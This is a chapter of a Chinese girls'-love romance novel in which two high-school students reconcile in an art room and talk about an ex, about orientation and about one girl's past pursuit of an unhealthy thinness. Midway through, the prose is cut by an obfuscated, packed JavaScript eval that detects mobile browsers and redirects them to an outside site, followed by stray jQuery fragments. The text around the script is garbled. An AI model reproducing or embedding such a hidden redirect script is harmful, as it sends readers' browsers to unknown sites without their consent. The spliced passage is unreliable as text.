没有魏云弥的日子，时间突然变得粘稠而缓慢。


    心月腕表的玻璃蓝表盘里，仿佛盛着整个栖霞屿的海。潮起潮落的心事，随着秒针一格一格地挪动，像是要把时间切割成更细碎的碎片。


    隔着十二小时的时差，魏云弥的消息总是断断续续。有时是凌晨发来的照片，温哥华海滨明艳得晃眼；有时是深夜的语音，背景里钢琴混着少女如诗般隽永的吟唱；偶有视频，晨光将她的轮廓镀得柔和，她眼底的笑意满得明明要溢出来，却掺杂着点说不清的怅然。


    我们倾诉着时间维度里的陌路絮叨，聊着些无关紧要的日常。她没有再提宋雅言，我也没有再问，心照不宣地绕开那个带着禁忌的名字。


    一点微妙的隔阂，她感受不到，我也说不出口。


    我试图用各种方式填满这段空白：写暑假作业、预习高二的课程、甚至开始尝试写日记。可每当笔尖触及纸面，总会不自觉地写下她的名字。


    “繁郁是魏云弥的小蕨”——那个被她写在草稿纸上的句子，成了我日记本里出现频率最高的字眼。


    恋旧对心思细腻敏感的人来说，是种残忍的惩罚。我被困在那段旧时光里，像沉在水里。理智拼命拽着不让我往下坠，可栖霞屿的海、台风夜的吻，还有那句“长命百岁地烦你”，都像一场醒不来的梦。


    梦醒了，我依然是那个躲在角落里的繁郁，而她依然是光芒万丈的魏云弥。


    九月开学，梧桐叶染上浅金，热浪席卷大地，天地仿若巨大的蒸笼，在声势浩大的开学季蒸腾着鲜活与热烈。


    我搬运课本转到高二（3）班时，魏云弥正伏在走廊的栏杆上，周围围着几个同学。她穿着干净的校服，袖口挽到小臂，侧脸在阳光下透着清润的光泽，眉眼间皆是从容的笑意。


    我下意识地放慢脚步，腕上的表咔嗒作响。才分开两周，她好像更耀眼了些，而我攥着书脊的手指，还残留着温哥华的落空感。


    她先是把目光流转在我身上，随即又漫不经心地移开。我低下头快步走进教室，避开那道让我心慌的视线。


    教室的喧嚣像窒息的潮水，将我包裹、吞噬。有人在讨论假期旅行，有人在抱怨作业没写完，而我满脑子都是魏云弥刚才那一眼——轻得像风拂过水面，连涟漪都没留下。


    挺没有意思的，对吧。


    我沉默地收拾课桌，可目光却忍不住飘向窗外，虚化所有人群，焦距她。


    她的校服领口敞开着，露出锁骨——台风夜我曾在那留下浅红印记，可此刻那片皮肤干干净净，像被海水洗过的沙滩，什么痕迹都没剩下。


    MP3耳机里淌出纯粹美好的歌声，前奏的吉他音像滴滴答答的雨声:“爱原来只适合做花园，我们观赏完就离开别留恋……越勤勉越是会养坏最钟情的鲜艳……”


    走心的歌词像一把细密的针，扎在心上，空得发慌。


    放学后的美术教室静得能听见铅笔在纸上沙沙游走的声响。我攥着那张画着云朵的纸条，纸面已被揉得像鱼鳞般起皱——那是魏云弥约我去“老地方”的暗号，只属于我们俩的隐秘语言。


    熟悉的邀约无字无句，却裹挟着层层叠叠的回忆，像一把钥匙，轻轻叩开我自我封闭的心门。


    蒙尘的教室像座封存的旧梦，窗帘却被人刻意虚掩着。我推开门，一道光柱从缝隙里漏进来，魏云弥的影子匿在阴影里，像团涌动的暗潮，表情模糊难辨。


    她站在那里，像座沉默的山，眼底翻涌着说不清道不明的、近乎暗哑的欲望。


    “过来。”她忽然朝我伸出手，指尖在光柱里浮沉，像捞起碎落的星子。


    我踩着满地的颜料碎屑走过去，刚站定，就被她一把拽进怀里。


    美术教室的空气里混着松节油与颜料的气息，她的气息裹着熟悉的白茶香涌过来，比任何味道都更让人心安。


    “想我了？”她下巴抵着我的发顶，声音闷闷的。


    我没说话，只是把脸往她怀里埋得更深。校服布料蹭着鼻尖，有点痒，眼眶却突然热了。


    那些刻意压抑的想念，在重逢的瞬间汹涌得几乎要漫出来。


    “加拿大怎么样？”我小声问，努力让声音听起来平静无波。


    她的动作顿了一下，随即笑了笑：“无聊死了。”


    我盯着她微微下垂的睫毛，心里有无数个疑问在冲撞——见到她了吗？你们和好了吗？你还喜欢她吗？


    可话到嘴边，只憋出来一声:“……哦。”


    魏云弥似乎看穿了我的心思，她捧起我的脸，强迫我与她对视：“繁郁，我和她早就结束了。”


    “我没问这个。”我别过脸，声音闷闷的。


    “但你在想，还躲着我。”她凑近，鼻尖几乎贴上我的，“吃醋了？”


    “谁吃醋了！”我红着脸推开她，却被她一把拉回怀里。


    “繁郁，看着我。”她扣住我的下巴，强迫我与她对视，“我和宋雅言从一开始就没可能，不是骨科的原因。”


    “那是为什么？”我悠悠地问，语气带着一丝连自己都未察觉的醋。


    “傻瓜，她是直女。”她无奈地摩挲着我微凹的面颊，眼里浮动着我读不懂的怅然，“我们的性别，从一开始就注定了走不到一起。”


    简单四个字像投入湖心的石子，在我心里漾开层层叠叠的涟漪。


    直女？那之前的“最爱”、十指紧扣的照片，难道都是我的错觉？


    魏云弥像是看穿了我的疑惑，柔声解释:“青春期的执念罢了，把依赖当喜欢，把陪伴当爱情。她从来都只把我当妹妹。”


    她的声音很轻，带着点释然，又有点怅然:“这次去加拿大，是陪她去看医生。她得了很严重的抑郁症，家里人快急疯了。”


    我愣住了，那些盘桓在心底的猜忌、不安，突然像被戳破的气球，瞬间瘪了下去。


    原来不是重逢的甜蜜，而是这样沉重的缘由。


    “她……还好吗？”我下意识地问。


    “在慢慢好转。”魏云弥笑了笑，捏了捏我的脸，“别瞎想了，我对她只剩朋友和亲人的关心。”


    我望着她眼底的真诚，突然觉得自己之前的计较很可笑。那些被“最爱”刺痛的瞬间，那些因隐瞒而生的隔阂，在她坦然的目光里，都变成了不值一提的尘埃。


    “那你……”我咬了咬唇，终于问出那个藏了很久的问题，“为什么要藏着那本纪念册？”


    她沉默了几秒，忽然低头吻了吻我的额头，动作温柔得像对待易碎的珍宝:


    “怕你多想，怕你觉得我不坦诚，更怕你……因为过去的人和事，就不要我了。”


    原来不是不在乎，是太在乎。


    心月腕表的秒针轻轻跳动，玻璃蓝的表盘里，仿佛有细碎的星光在闪烁。我忽然想起栖霞屿的海，想起台风过后那片蓝得发脆的天，想起她说“我们会和她们不一样”。


    是啊，我们不一样。


    我踮起脚尖，主动吻上她的唇。松节油的味道混着她身上的白茶香，在口腔里蔓延开来。这个吻没有台风夜的急促与炽热，却带着一种尘埃落定的笃定。


    “魏云弥，”我抵着她的唇，声音有点发颤，“我不会不要你。”


    除非你先放开我。


    这句话我没说出口，却在她骤然收紧的怀抱里，感受到了同样的承诺。


    或许从来都不是她不够坚定，只是我总在患得患失，让惶惶不安的心找不到归属。


    那些藏在心底的不安与猜忌，终将被时光打磨成温润的模样，就像那颗贝壳海星，在岁月里泛着柔和的光。


    玻璃蓝的表盘里，秒针正不紧不慢地走着。时间好像突然变得轻快起来，不再是粘稠的等待，而是带着某种奔赴的雀跃。


    台风过境后的重启，不只是那座小岛，还有我们。


    高二的生活比想象中忙碌许多。课业压力骤增，考试频率翻倍，每个人都像上了发条的机器，在题海中拼命挣扎。


    我和魏云弥的相处时间被压缩到极致——午休的半小时，放学后的美术教室，偶尔在图书馆短暂碰面。


    某个九月的午后，我们像往常一样，在细碎纷繁的日子里缩在美术教室里偷得浮生半日闲。


    魏云弥突然问我:“其实大部分女孩子都是双性恋，你知道为什么吗？”


    我愣了愣，随即摇摇头。


    “这种心理的启蒙源于雏鸟情结。”她笑了笑，“每个女孩最先爱上的人一定都是妈妈。”


    美术教室的窗帘被燥热的风吹鼓，魏云弥的铅笔突然在纸面上骤然止步。


    “因为妈妈是第一个教会我们爱的人。”


    她的铅笔尖点在画纸上，那里刚刚勾勒我锁骨的弧度。阳光透过百叶窗的格子，在纸面投下颤动的光斑。


    “第一次被拥抱，第一次被亲吻额头，第一次有人为你擦眼泪……这些印记比任何启蒙都深刻。”


    我若有所思，想到她说“宋雅言是直女”的释然，突然抬头问:


    “那你呢，魏云弥？”


    “你是双性恋，还是gay？”


    魏云弥握着铅笔的手顿了顿，抬眼时睫毛上落着细碎的阳光，像沾了层金粉。


    她没直接回答，反而倾身凑近，温热的呼吸扫过我耳廓:“你觉得呢？”


    我被她突如其来的凑近弄得一怔，慌忙别开脸，耳根发烫:“……我不知道。”


    她的眼神突然变得认真，贴近我低语道:“繁郁，我的取向取决于你的性别，明白了吗？”


    她灼热的呼吸扑在我的唇角，带着薄荷糖的清凉和隐秘的渴望。我僵在原地，心跳快的几乎要撞碎肋骨。


    “什么意思？”


    “意思是——”她退开些许，手指插入我的枯黄的发丝，带着点缱绻的意味，“如果你是个男孩，我会喜欢上穿校服的你；如果你是一颗植物，我会喜欢你向阳生长的弧度；哪怕你是块石头……”


    “我也会羡慕你被风沙打磨的棱角。”


    美术教室的吊扇慢悠悠转着，搅得空气里的松节油味都变得温柔。我望着她近在咫尺的瞳孔，那里面晃动的琥珀色光斑，正一点点吞噬我的倒影。


    “所以……”我屏住呼吸。


    魏云弥终于松开了我的头发，从素描本里抽出一张照片


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998573|176505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。照片上，小女孩穿着芭蕾舞裙，站在一个消瘦的女人身边——那女人有锐利的美，锁骨深得能盛住月光，和魏云弥如出一辙的眼睛却蒙着层死气沉沉的雾。


    “曾经我追随我妈的芭蕾梦，在发育的年纪拼命瘦到病态的体重，以为这样就能留住她。”


    “后来我发现……”魏云弥把照片按在我心口，“我迷恋的根本不是体重计上的数字，而是灵魂在□□上挣扎的痕迹。”


    我看着她映在地面上单薄的影子，突然明白了她为何如此痴迷于骨感美——那是她与母亲之间扭曲的联结，是爱恨交织的复杂藤蔓。


    “为什么要告诉我这些？”我的喉咙发紧，她的手掌压着照片，也压着我剧烈跳动的心脏。


    “谁让你把自己当成我拥有的‘骷髅二号’？”她笑了，眼底的狡黠又冒了出来，却藏着不易察觉地软。


    我忽然想起之前在她家，看到她和宋雅言十指紧扣的照片时，脱口而出的那句气话。那时的刻薄不仅伤害了无辜的宋雅言，更把她的喜欢说得轻佻，甚至是在作践自己。


    “魏云弥……对不起。”愧疚像海水般漫上来，我的眼泪盈满眼眶，烫得心口发疼。


    魏云弥摇摇头，抽出画板上的画纸。她将悬于纸面的红日与阳光对齐——画里的女孩站在栖霞屿海滩上，浅蓝底的碎花沙滩裙被飞吹起一角，举着贝壳海星对着身后的人笑。


    画纸上的光影被她轻轻推揉，那抹跃动的红突然变得鲜活，像栖霞屿盛夏永不落幕的晚霞。


    “那天你逆着光站着，连头发上沾了沙粒都不知道。”她的指尖划过画中我的裙摆，“我突然觉得，原来鲜活的样子比骨感美一万倍。”


    “现在明白了吗？我爱的从来不是‘女孩’这个标签——”


    “是你千疮百孔却还在发光的灵魂，恰好装在了这具我喜欢的躯壳里。”


    我望着她认真的眉眼，喉咙忽然像是被堵住。那些关于性向的纠结、过往的猜疑，在这一刻都轻得像浮尘，风一吹就散了。


    重要的是，此刻她眼里映着的，只有我。


    “魏云弥……”我小声唤她，尾音裹着不易察觉的哽咽，轻轻发颤。


    她忽然倾身凑近，指腹蹭过我的眼尾：“所以，别再叫自己是‘骷髅二号’了，好吗？”


    我用力头，眼泪却不争气地掉下来。她低头，唇瓣轻得像羽毛，吻去我眼角的泪，动作温柔得像在呵护一件易碎的瓷器。


    午休结束铃骤然响起，惊飞了窗外一群白鸟。在振翅声淹没心跳的瞬间，我终于尝到了她唇上薄荷糖的滋味。


    那滋味清清凉凉的，混着白茶的清冽和她呼吸里的温热，像含住了一片刚被雨洗过的薄荷叶。我僵在原地，睫毛上还挂着未干的泪，被她吻过的唇角像是要烧起来。


    “哭起来更鲜活了。”她退开半步，眼底的光像融化的琥珀糖，“早知道多逗逗你了。”


    我别过脸，手背蹭过发烫的唇，却被她扣住肩膀转回来。


    “看着我。”她的声音低下了，带着点不容置疑的认真，“记住这种感觉，繁郁。你从来都不是谁的影子。”


    窗外的白鸟早已飞远，只剩下一片空荡的蔚蓝苍穹。美术教室的吊扇还在慢悠悠地转，走廊外传来远近杳来的脚步声和交谈声，一切都像是虚化的背景板。


    我眼里只剩下她近在咫尺的眼睛，那里面映着我双眼红肿、头发凌乱的模样，滑稽，却真实得让人心颤。


    “知道了。”


    她重新坐回画架前，将方胜纹拓得深刻而厚重。笔尖的沙沙声像重启的秒针，把凝滞的空气都剥得轻快。


    “为什么要画这个？”我指着那个交叠两个菱形，好奇地问。


    “因为它不会散。”魏云弥的笔尖在菱形交错处顿了顿，墨色在纸上洇开一小点，“你看这两道折痕，不管怎么扯，总有一角牢牢咬着对方。”


    她忽然把画纸朝我推过来，方胜的轮廓在光线下泛着浅白的折痕。


    “就像刚才说的雏鸟情结——”她的指尖点在菱形的交点上，“最初的印记会跟着一辈子，但真正能纠缠到最后的，是愿意为彼此折出相同弧度的人。”


    我看着魏云弥低垂的眉眼，忽然回想起那些被我误解的瞬间。或许，那都是她在慢慢调整我们这段关系的折痕角度。


    那些关于“取向”的标签都太笨重了——她爱不爱女孩，是不是双性恋，其实都不重要。重要的是她指尖的温度，是她说“我的取向取决于你”时，眼里藏不住的光。


    雏鸟总会找到属于自己的栖息地，方胜的折痕终究会拼回完整的形状。而我和她，大概就是这样——跌跌撞撞地靠近，把所有猜疑和不安，都慢慢折成笃定的形状。


    上课前的最后一分钟，魏云弥把新画好的纸轻轻撕下，沿着折痕轻轻对折，两个菱形瞬间咬合在一起，变成一颗饱满的星辰。


    “给你。”她把折好的方胜塞进我手心，指尖故意在我掌心挠了一下，“这次别再揉皱了。”


    我攥着那方温热的纸，指尖能摸到里面凸起的线条，像摸到了某个被阳光晒暖的午后，和她眼里那永不落幕的晚霞。